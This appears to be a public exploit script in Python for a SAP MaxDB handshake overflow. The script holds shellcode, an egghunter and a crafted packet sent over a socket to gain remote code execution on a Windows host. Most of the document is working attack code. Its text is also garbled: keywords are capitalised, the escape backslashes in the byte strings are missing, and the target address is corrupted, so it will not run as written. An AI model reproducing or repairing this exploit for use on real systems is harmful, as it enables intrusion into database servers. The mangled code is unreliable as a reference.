SAP MaxDB Malformed Handshake Request Remote Code & amp;

#! /Usr/bin/python

# Exploit title: SAP MaxDB Malformed Handshake Request Remote Code Execution

# Date: 2010.03.26

# Author: S2 Crew [Hungary]

# Software link: sap.com

# Version: 7.7.06.09

# Tested on: Windows XP SP2 EN

# CVE: ZDI-10-032

# Code:

######################################## #####################

# Trying 172.16.29.htm...

# Connected to 172.16.29.htm.

# Escape character is ^].

# Microsoft Windows XP [Version 5.1.2600]

# (C) Copyright 1985-2001 Microsoft Corp.

#

# C: sdbdatawrk>

######################################## #####################

Import socket

Import sys

Import OS

SC = (

"X31xc9xdaxdaxbex94x3fxbexeaxb1x56xd9x74x24xf4"

"X5fx31x77x17x03x77x17x83xefxfcx76xcax42x02xff"

"X35xbbxd3x9fxbcx5exe2x8dxdbx2bx57x01xafx7ex54"

"Xeaxfdx6axefx9ex29x9cx58x14x0cx93x59x99x90x7f"

"X99xb8x6cx82xcex1ax4cx4dx03x5bx89xb0xecx09x42"

"Xbex5fxbdxe7x82x63xbcx27x89xdcxc6x42x4exa8x7c"

"X4cx9fx01x0bx06x07x29x53xb7x36xfex80x8bx71x8b"

"X72x7fx80x5dx4bx80xb2xa1x07xbfx7ax2cx56x87xbd"

"Xcfx2dxf3xbdx72x35xc0xbcxa8xb0xd5x67x3ax62x3e"

"X99xefxf4xb5x95x44x73x91xb9x5bx50xa9xc6xd0x57"

"X7ex4fxa2x73x5ax0bx70x1axfbxf1xd7x23x1bx5dx87"

"X81x57x4cxdcxb3x35x19x11x89xc5xd9x3dx9axb6xeb"

"Xe2x30x51x40x6ax9exa6xa7x41x66x38x56x6ax96x10"

"X9dx3exc6x0ax34x3fx8dxcaxb9xeax01x9bx15x45xe1"

"X4bxd6x35x89x81xd9x6axa9xa9x33x1dxeex67x67x4d"

"X98x85x97x63x04x03x71xe9xa4x45x29x86x06xb2xe2"

"X31x79x90x5exe9xedxacx88x2dx12x2dx9fx1dxbfx85"

"X48xd6xd3x11x68xe9xfex31xe3xd1x68xcbx9dx90x09"

"Xccxb7x43xaax5fx5cx94xa5x43xcbxc3xe2xb2x02x81"

"X1execxbcxb4xe3x68x86x7dx3fx49x09x7fxb2xf5x2d"

"X6fx0axf5x69xdbxc2xa0x27xb5xa4x1ax86x6fx7exf0"

"X40xf8x07x3ax53x7ex08x17x25x9exb8xcex70xa0x74"

"X87x74xd9x69x37x7ax30x2ax47x31x19x1axc0x9cxcb"

"X1fx8dx1ex26x63xa8x9cxc3x1bx4fxbcxa1x1ex0bx7a"

"X59x52x04xefx5dxc1x25x3ax57 ")

Egghunter = (

"X66x81xcaxffx0fx42x52x6a"

"X02x58xcdx2ex3cx05x5ax74"

"Xefxb8x54x30x30x57x8bxfa"

"Xafx75xeaxafx75xe7xffxe7"

)

Host = "172.16.29.htm"

Port = 7210

S = socket. socket (socket. AF_INET, socket. SOCK_STREAM)

S. connect (host, port ))

Ret = "x08xf1xa0x00" # HC

Packet = (

"X63x00x00x00x03x2fx00x00x01x00x00x00"

"Xffxffxffx00x00x04x00x63x00x00x00"

"X00x02x4bx00x04x09x00x00x44x20x00x00"

"X00x00x00x00x00x00x00x00x00xffxffxffxff"

"X6dx61" + ret + "x00x00x00x00x00x00"

"X00x00x00x00x07x49" + "A" * 5000 + "T00WT00W" + SC + "x41" * 2500 + egghunter + "x90" * 2500)

S. send (packet)

S. close ()